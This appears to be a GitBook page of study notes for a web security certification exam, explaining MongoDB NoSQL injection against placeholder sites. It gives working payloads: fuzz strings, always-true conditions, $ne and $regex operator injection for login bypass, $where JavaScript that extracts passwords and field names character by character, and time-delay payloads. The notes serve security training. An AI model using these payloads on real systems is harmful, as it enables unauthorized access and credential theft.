bscp notes
  • Resources
  • Exam Hints/Tips
  • Burp dynamic header in Intruder
  • Methodology
  • Payloads
  • Stage 1
    • XSS
    • Information disclosure
    • DOM-based
    • Web Cache Poison
    • Host Headers
    • HTTP Req Smuggling
    • Authentication
  • Stage 2
    • oAuth
    • CSRF
    • Password Reset
    • SQLi
      • SQLi Cheat Sheet
    • JWT
    • Prototype Pollution
    • API Testing - TODO
    • Access Control
    • CORS
  • DATA EXFILTRATION
    • XXE Injections
    • SSRF
    • SSTI
    • Path Traversal
    • File Upload
    • Insecure Desarialization
    • OS Cmd Injection
  • graphql api vulns
  • no sql
  • web cache deception
  • clickjacking
  • websockets
  • web cache deception
Powered by GitBook
On this page
  • NoSQL injection detection
  • Operators injection
  • Exfiltrating data in Mongo
  • Injecting operators
  • Exfiltrating field names
  • Exfiltrating unknown data
  • Time based injection

no sql

Previousgraphql api vulnsNextweb cache deception

Last updated 8 months ago

NoSQL injection detection

  • Application Context

    • Shopping application displays products by category.

    • Example URL: https://insecure-website.com/product/lookup?category=fizzy

    • Backend MongoDB query: this.category == 'fizzy'

  • Testing for Vulnerability

    • Fuzz Testing

      • Submit a fuzz string in the category parameter to test input handling.

      • Example MongoDB fuzz string: '"{ ;$Foo} $Foo \xYZ`

    • Constructing the Attack URL

      • URL-encoded fuzz string:

        https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
        
        
        https://insecure-website.com/product/lookup?category='"`{
        ;$Foo}
        $Foo \xYZ
      • Detection Indicator: Change in response suggests improper input filtering or sanitization.

  • Important Considerations

    • Context Adaptation

      • NoSQL injection vulnerabilities vary by context; adjust fuzz strings accordingly.

      • Example: Injection may need to be via URL or JSON property.

      • JSON payload example: '\"{\r;$Foo}\n$Foo \xYZ\u0000`

  • Determining Processed Characters

    • Character Injection

      • Inject individual characters (e.g., ') to identify syntax handling.

      • Example Injection: ' resulting in this.category == '''

    • Syntax Error Confirmation

      • Submit a valid escaped string: this.category == '\''

      • Detection Indicator: Absence of syntax error may indicate vulnerability.

  • Confirming Conditional Behavior

    • Boolean Condition Manipulation

      • Send requests with false and true conditions:

        • False condition: fizzy'&&0&&'x

        • True condition: fizzy'&&1&&'x

      • Detection Indicator: Different application behaviors suggest query logic can be influenced.

  • Overriding Existing Conditions

    • Injecting Always-True Conditions

      • Example payload: '||1||'

      • Attack URL:

        https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27
        
        https://insecure-website.com/product/lookup?category=fizzy'||1||'
        
        #like comment
        this.category == 'fizzy'\u0000'
      • Modified MongoDB query:

        this.category == 'fizzy'||'1'=='1'
      • Outcome: Returns all items, including hidden or unknown categories.

Operators injection

NoSQL databases often use query operators, which provide ways to specify conditions that data must meet to be included in the query result. Examples of MongoDB query operators include:

  • $where - Matches documents that satisfy a JavaScript expression.

  • $ne - Matches all values that are not equal to a specified value.

    • {"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

  • $in - Matches all of the values specified in an array.

  • $regex - Selects documents where values match a specified regular expression.

    • {"$regex":"admin.*"}

You may be able to inject query operators to manipulate NoSQL queries. To do this, systematically submit different operators into a range of user inputs, then review the responses for error messages or other changes.

Submitting query operators

In JSON messages, you can insert query operators as nested objects. For example, {"username":"wiener"} becomes {"username":{"$ne":"invalid"}}.

For URL-based inputs, you can insert query operators via URL parameters. For example, username=wiener becomes username[$ne]=invalid. If this doesn't work, you can try the following:

  1. Convert the request method from GET to POST.

  2. Change the Content-Type header to application/json.

  3. Add JSON to the message body.

  4. Inject query operators in the JSON.

Exfiltrating data in Mongo

Consider a vulnerable application that allows users to look up other registered usernames and displays their role. This triggers a request to the URL:

https://insecure-website.com/user/lookup?username=admin

This results in the following NoSQL query of the users collection:

{"$where":"this.username == 'admin'"}

As the query uses the $where operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data. For example, you could send the following payload:

admin' && this.password[0] == 'a' || 'a'=='b

This returns the first character of the user's password string, enabling you to extract the password character by character.

You could also use the JavaScript match() function to extract information. For example, the following payload enables you to identify whether the password contains digits:

admin' && this.password.match(/\d/) || 'a'=='b

Injecting operators

Consider a vulnerable application that accepts username and password in the body of a POST request:

{"username":"wiener","password":"peter"}

To test whether you can inject operators, you could try adding the $where operator as an additional parameter, then send one request where the condition evaluates to false, and another that evaluates to true. For example:

{"username":"wiener","password":"peter", "$where":"0"}{"username":"wiener","password":"peter", "$where":"1"}

If there is a difference between the responses, this may indicate that the JavaScript expression in the $where clause is being evaluated.

Exfiltrating field names

If you have injected an operator that enables you to run JavaScript, you may be able to use the keys() method to extract the name of data fields. For example, you could submit the following payload:

Checking if object starts with 'a'

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

This inspects the first data field in the user object and returns the first character of the field name. This enables you to extract the field name character by character.

Exfiltrating unknown data

Alternatively, you may be able to extract data using operators that don't enable you to run JavaScript. For example, you may be able to use the $regex operator to extract data character by character.

Consider a vulnerable application that accepts a username and password in the body of a POST request. For example:

{"username":"myuser","password":"mypass"}

You could start by testing whether the $regex operator is processed as follows:

{"username":"admin","password":{"$regex":"^.*"}}

If the response to this request is different to the one you receive when you submit an incorrect password, this indicates that the application may be vulnerable. You can use the $regex operator to extract data character by character. For example, the following payload checks whether the password begins with an a:

{"username":"admin","password":{"$regex":"^a*"}}

Time based injection

Sometimes triggering a database error doesn't cause a difference in the application's response. In this situation, you may still be able to detect and exploit the vulnerability by using JavaScript injection to trigger a conditional time delay.

To conduct timing-based NoSQL injection:

  1. Load the page several times to determine a baseline loading time.

  2. Insert a timing based payload into the input. A timing based payload causes an intentional delay in the response when executed. For example, {"$where": "sleep(5000)"} causes an intentional delay of 5000 ms on successful injection.

  3. Identify whether the response loads more slowly. This indicates a successful injection.

The following timing based payloads will trigger a time delay if the password beings with the letter a:

admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'

admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

https://portswigger.net/bappstore/db57ecbe2cb7446292a94aa6181c9278